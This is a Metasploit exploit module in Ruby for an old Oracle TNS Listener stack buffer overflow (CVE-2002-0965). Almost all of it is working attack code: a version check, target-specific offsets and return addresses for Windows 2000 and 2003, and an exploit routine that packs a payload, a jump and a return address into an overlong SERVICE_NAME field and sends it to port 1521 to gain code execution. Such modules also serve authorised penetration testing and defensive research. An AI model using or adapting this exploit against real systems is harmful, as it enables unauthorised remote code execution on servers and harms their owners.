Oracle TNS Listener SERVICE_NAME Buffer Overflow.

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TNS  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle TNS Listener SERVICE_NAME Buffer Overflow.',  
'Description' => %q{  
This module exploits a stack overflow in Oracle. When  
sending a specially crafted packet containing a long SERVICE_NAME   
to the TNS service, an attacker may be able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,   
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2002-0965'],  
[ 'OSVDB', '5041'],  
[ 'BID', '4845'],  
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ],  
[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],  
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 27 2002'))  
  
register_options([Opt::RPORT(1521)], self.class)  
  
end  
  
def check  
connect  
  
version = "(CONNECT_DATA=(COMMAND=VERSION))"  
  
pkt = tns_packet(version)  
  
sock.put(pkt)  
  
sock.get_once  
  
res = sock.get_once(-1, 1)  
  
disconnect  
  
if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded  
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')  
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)  
  
sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"  
  
pkt = tns_packet(sploit)  
  
print_status("Trying target #{target.name}...")  
sock.put(pkt)  
  
handler  
  
disconnect  
end  
  
end  
`